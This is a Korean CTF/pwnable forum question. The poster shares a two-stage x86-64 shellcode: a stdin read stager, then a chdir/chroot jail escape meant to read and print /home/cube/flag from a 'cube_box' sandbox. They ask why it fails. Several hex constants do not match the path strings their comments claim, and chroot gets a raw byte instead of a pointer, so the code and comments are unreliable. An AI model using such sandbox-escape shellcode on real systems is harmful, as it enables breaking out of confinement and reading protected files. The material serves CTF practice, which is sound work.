완료됨
read -> shell
`#include <stdio.h>
asm(
".text\n"
".global run_sh\n"
"run_sh:\n"
// read(0, buf, 0x1000)
" mov rdi, 0x0\n" // 표준 입력 파일 디스크립터를 첫 번째 인수로 설정
" sub rsp, 0x1000\n" // 버퍼 크기만큼 스택 공간 할당 (0x1000 = 4096 바이트)
" mov rsi, rsp\n" // 할당된 스택 주소를 두 번째 인수로 설 정
" mov rdx, 0x1000\n" // 읽을 바이트 수 설정 (0x1000 = 4096 바이트)
" xor rax, rax\n" // syscall 번호 0 (read)
" syscall\n" // syscall 호출
);
int main() {
run_sh();
return 0;
}`
첫 번째 read(0,buf,0x80)에서 위를 shellcode로 입력한 뒤,
해당 shellcode에서 실행되는 read(0x1000)에서
`
#include <unistd.h>
asm(
".text\n"
".global run_sh\n"
"run_sh:\n"
// chdir("../../../../../../")
" mov rax, 0x2f2e2f2e2f2e2f2e\n" // "../../../../" 문자열
" push rax\n"
" mov rax, 0x2f2e2f2e\n" // "../../" 문자열
" push rax\n"
" mov rdi, rsp\n" // 스택 주소를 첫 번째 인수로 설 정
" xor rsi, rsi\n" // flags (여기서는 0)
" mov rax, 0x50\n" // syscall 번호 80 (chdir)
" syscall\n" // syscall 호출
// chroot(".")
" mov rdi, 0x2e\n" // "." 디렉토리의 경로 설정
" mov rax, 0x3d\n" // syscall 번호 61 (chroot)
" syscall\n" // syscall 호출
// open("/home/cube/flag", O_RDONLY)
" movabs rax, 0x656c69662f656275\n" // "/cube/flag" 문자열
" push rax\n"
" movabs rax, 0x6d6f682f\n" // "/home" 문자열
" push rax\n"
" mov rdi, rsp\n" // 스택 주소를 첫 번째 인수로 설 정
" xor rsi, rsi\n" // flags (여기서는 0)
" mov rax, 0x2\n" // syscall 번호 2 (open)
" syscall\n" // syscall 호출
// read(fd, buf, 0x30)
" mov rdi, rax\n" // open에서 반환된 파일 디스크립 터를 첫 번째 인수로 설정
" sub rsp, 0x30\n" // 버퍼 크기만큼 스택 공간 할당
" mov rsi, rsp\n" // 할당된 스택 주소를 두 번째 인 수로 설정
" mov rdx, 0x30\n" // 읽을 바이트 수 설정 (0x30 = 48)
" xor rax, rax\n" // syscall 번호 0 (read)
" syscall\n" // syscall 호출
// write(1, buf, rax)
" mov rdi, 0x1\n" // 표준 출력 파일 디스크립터를 첫 번째 인수로 설정
" mov rdx, rax\n" // read에서 반환된 바이트 수를 세 번째 인수로 설정
" mov rax, 0x1\n" // syscall 번호 1 (write)
" syscall\n" // syscall 호출
);
int main() {
run_sh();
return 0;
}
`
를 입력하여 cube_box에서 탈출하려고 하였는데, 제대로 동작하지 않네요
이유가 뭔가요
#pwnable
작성자 정보